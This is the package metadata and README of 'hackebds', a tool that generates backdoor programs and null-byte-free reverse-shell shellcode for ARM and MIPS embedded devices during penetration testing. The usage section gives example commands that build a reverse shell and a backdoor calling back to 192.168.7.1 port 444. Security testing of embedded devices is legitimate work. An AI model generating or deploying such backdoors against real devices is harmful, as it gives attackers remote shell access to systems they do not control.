Metadata-Version: 2.1
Name: hackebds
Version: 0.0.1
Summary: This tool is used for backdoor and shellcode generation for various architecture devices
Home-page: https://github.com/doudoudedi/hackEmbedded
Author: doudoudedi
Author-email: doudoudedi233@gmail.com
License: MIT
Description: # introduction
        
        #### foreword
        
        >In the process of penetration and vulnerability mining of embedded devices, many problems have been encountered. One is that some devices do not have telnetd or ssh services to obtain an interactive shell, and the other is that memory corruption vulnerabilities such as stack overflow are usually Null bytes are truncated, so it is more troublesome to construct reverse_shellcode, so this tool was developed to exploit the vulnerability. This tool is developed based on the PWN module and currently uses the python2 language
        
        #### fuction
        
        This tool is embedded in the security test of the device. There are two main functions:
        
        1.  Generate **backdoor programs** of various architectures. The backdoor program is packaged in shellless pure shellcode and is smal in size.**Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated**
        
        2.  Generate **reverse_shell shellcode** of various architectures during the exploit process, and no null bytes, which facilitates the exploitation of memory corruption vulnerabilities on embedded devices. **Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated**
        
        #### Construct ELF
          python2 install pwn
        ```
        pip install pwn
        ```
        
        ​	This tool is developed in python language, so converting python to ELF can be done through **nuitka**
        
        ```shell
        nuitka hackEmbedded_tool.py
        ```
        
        ​	If possible, put the modules that generate various backdoors and reverse_shellcode under python's site-packages
        
        ```
        sudo cp ./generate_* {your_dir}/site-packages
        sudo cp ./extract_shellcode.py {your_dir}/site-packages
        ```
        
        You can view the path in sys.path under the python terminal
        
        ```
        Python 2.7.17 (default, Mar 18 2022, 13:21:42) 
        [GCC 7.5.0] on linux2
        Type "help", "copyright", "credits" or "license" for more information.
        >>> import sys
        >>> sys.path
        ```
        
        #### Instructions for use
        
        ​	To use the generated backdoor or reverse_shellcode, you need to specify the ip address, port number, assembly architecture, endian （Default is armv7）
        
        ​	**Here is the example that generates reverse_shellcode without null bytes**
        
        ```
        hackEmbedded_tool -reverse_ip 192.168.7.1 -reverse_port 444 -arch arm -endian little -exploit_shellcode 1
        ```
        ![image-20220428161403858](./img/image-20220428161403858.png)
        
        **This is the usage list for generating the backdoor file of the corresponding schema**
        ```
        hackEmbedded_tool -reverse_ip 192.168.7.1 -reverse_port 444 -arch arm -endian little -backdoor_file 1
        ```
        
        ![image-20220428161757170](./img/image-20220428161757170.png)
        
        **You can view tool information with -h**
        
        ![image-20220428161847829](./img/image-20220428161847829.png)
        
        
        #### chips and architectures
        Tests can leverage chips and architectures
        
        Mips:
        MIPS 74kc V4.12 big endian
        MIPS 24kc V5.0  little endian
        
        Armv7:
        Allwinner(全志)V3s
        
        Armv8:
        Qualcomm Snapdragon 660
        
        #### One-click build environment
        
        To be added
        
Platform: UNKNOWN
Description-Content-Type: text/markdown
